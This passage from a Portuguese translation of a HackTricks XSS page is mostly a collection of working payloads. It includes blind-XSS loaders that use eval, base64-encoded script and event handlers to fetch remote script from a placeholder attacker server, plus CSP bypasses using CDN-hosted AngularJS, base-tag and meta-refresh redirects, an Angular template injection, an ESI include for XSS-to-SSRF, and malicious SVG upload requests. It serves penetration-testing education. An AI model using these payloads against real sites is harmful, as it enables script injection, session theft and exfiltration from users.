<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Acessar Conteúdo Oculto

A partir de this writeup é possível aprender que, mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, um input de um REGEX ainda pode ser encontrado depois que o valor do input do regex foi removido:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS Abusando outras vulnerabilidades

XSS em Markdown

É possível injetar código Markdown que será renderizado? Talvez você consiga XSS! Confira:

XSS in Markdown

XSS para SSRF

Obteve XSS em um site que usa caching? Tente transformar isso em SSRF através de Edge Side Include Injection com este payload:

python
<esi:include src="http://yoursite.com/capture" />

Use-o para contornar restrições de cookie, filtros XSS e muito mais!
Mais informações sobre esta técnica aqui: XSLT.

XSS em PDF criado dinamicamente

Se uma página web está criando um PDF usando input controlado pelo usuário, você pode tentar enganar o bot que está criando o PDF para executar código JS arbitrário.
Assim, se o bot criador de PDF encontrar algum tipo de HTML tags, ele vai interpretá-las, e você pode abusar desse comportamento para causar um Server XSS.

Server Side XSS (Dynamic PDF)

Se você não conseguir injetar HTML tags, pode valer a pena tentar injetar dados PDF:

PDF Injection

XSS em Amp4Email

AMP, destinado a acelerar o desempenho de páginas web em dispositivos móveis, incorpora HTML tags suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para recursos diversos, acessíveis via AMP components.

O formato AMP for Email estende componentes AMP específicos para emails, permitindo que os destinatários interajam com o conteúdo diretamente dentro dos seus emails.

Exemplo writeup XSS in Amp4Email in Gmail.

XSS ao enviar arquivos (svg)

Faça upload como imagem de um arquivo como o seguinte (de http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Encontre mais payloads SVG em https://github.com/allanlw/svg-cheatsheet

Truques JS Diversos & Informações Relevantes

Misc JS Tricks & Relevant Info

Recursos XSS

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks